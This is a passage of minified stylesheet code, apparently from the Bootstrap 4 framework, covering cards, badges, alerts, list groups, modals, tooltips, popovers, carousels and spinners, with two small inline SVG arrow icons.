1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem;border-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom,.card-img-top{-ms-flex-negative:0;flex-shrink:0;width:100%}.card-img,.card-img-top{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{-ms-flex:1 0 0%;flex:1 0 0%;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion{overflow-anchor:none}.accordion>.card{overflow:hidden}.accordion>.card:not(:last-of-type){border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:not(:first-of-type){border-top-left-radius:0;border-top-right-radius:0}.accordion>.card>.card-header{border-radius:0;margin-bottom:-1px}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:3;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:3;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#0062cc}a.badge-primary.focus,a.badge-primary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.badge-secondary{color:#fff;background-color:#6c757d}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#545b62}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.badge-success{color:#fff;background-color:#28a745}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#1e7e34}a.badge-success.focus,a.badge-success:focus{outline:0;box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#117a8b}a.badge-info.focus,a.badge-info:focus{outline:0;box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.badge-warning{color:#212529;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#212529;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.badge-danger{color:#fff;background-color:#dc3545}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#bd2130}a.badge-danger.focus,a.badge-danger:focus{outline:0;box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.badge-light{color:#212529;background-color:#f8f9fa}a.badge-light:focus,a.badge-light:hover{color:#212529;background-color:#dae0e5}a.badge-light.focus,a.badge-light:focus{outline:0;box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;z-index:2;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;line-height:0;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;overflow:hidden;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:1s linear infinite progress-bar-stripes;animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:-1px;border-top-width:1px}.list-group-horizontal{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width:576px){.list-group-horizontal-sm{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:768px){.list-group-horizontal-md{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:992px){.list-group-horizontal-lg{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1200px){.list-group-horizontal-xl{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 1px}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0}a.close.disabled{pointer-events:none}.toast{-ms-flex-preferred-size:350px;flex-basis:350px;max-width:350px;font-size:.875rem;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .25rem .75rem rgba(0,0,0,.1);opacity:0;border-radius:.25rem}.toast:not(:last-child){margin-bottom:.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.25rem .75rem;color:#6c757d;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05);border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.toast-body{padding:.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-50px);transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:none;transform:none}.modal.modal-static .modal-dialog{-webkit-transform:scale(1.02);transform:scale(1.02)}.modal-dialog-scrollable{display:-ms-flexbox;display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{-ms-flex-negative:0;flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered::before{display:block;height:calc(100vh - 1rem);height:-webkit-min-content;height:-moz-min-content;height:min-content;content:""}.modal-dialog-centered.modal-dialog-scrollable{-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable::before{content:none}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.modal-header .close{padding:1rem 1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:calc(.3rem - 1px);border-bottom-left-radius:calc(.3rem - 1px)}.modal-footer>*{margin:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered::before{height:calc(100vh - 3.5rem);height:-webkit-min-content;height:-moz-min-content;height:min-content}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=top]>.arrow::before,.bs-popover-top>.arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top]>.arrow::after,.bs-popover-top>.arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow::before,.bs-popover-right>.arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right]>.arrow::after,.bs-popover-right>.arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=bottom]>.arrow::before,.bs-popover-bottom>.arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom]>.arrow::after,.bs-popover-bottom>.arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow::before,.bs-popover-left>.arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left]>.arrow::after,.bs-popover-left>.arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{-ms-touch-action:pan-y;touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out;transition:transform .6s ease-in-out,-webkit-transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){-webkit-transform:translateX(100%);transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){-webkit-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;-webkit-transform:none;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:50%/100% 100% no-repeat}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{box-sizing:content-box;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@-webkit-keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;-webkit-animation:.75s linear infinite spinner-border;animation:.75s linear infinite spinner-border}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1;-webkit-transform:none;transform:none}}@keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1;-webkit-transform:none;transform:none}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:.75s linear infinite spinner-grow;animation:.75s linear infinite spinner-grow}.spinner-grow-sm{width:1rem;height:1rem}@media 